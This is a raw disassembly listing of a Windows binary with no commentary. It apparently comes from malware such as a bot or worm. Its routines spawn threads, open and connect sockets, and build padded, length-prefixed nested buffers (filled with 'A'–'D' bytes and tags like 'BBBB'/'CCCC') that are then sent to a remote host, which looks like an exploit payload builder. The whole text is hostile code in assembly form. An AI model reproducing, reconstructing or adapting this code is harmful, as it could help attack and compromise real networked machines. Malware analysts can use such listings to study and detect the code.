		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB0C4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7

loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40C4A2

loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------

loc_40C4A2:				; CODE XREF: sub_40C124+371j
		nop
		call	near ptr 2680835h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428

loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB0C0[eax*8]
		push	eax
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AAC
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB0C4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD0C0
		nop
		call	near ptr 26E074Ch

loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h

loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB0C4[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43DEBC[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB000
		push	eax
		mov	edi, offset dword_4CDA84
		push	offset dword_431B8C
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h

loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB00C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h
		dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 0E8905757h,	2273910h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 5EE890FCh, 0FF022542h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch
		dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh
		dd 5000431Ch, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 27381FE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 6EE80875h, 90022541h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh
		dd 5000431Bh, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx

loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949

loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------

loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------

loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CAE2C
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------

loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1

loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C8E8
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F

loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_431C40
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_431C48
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_431FC4
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_431C4C
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_431FB8
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_431FB4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_431FB0
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_431FA4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_431F9F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------

loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB

loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------

loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CAF8C

loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CAF70
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CAFC4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------

loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_431CDC
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_431D0C
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CDC8C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_431C54
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95

loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------

loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1

loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl

loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_431D18
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
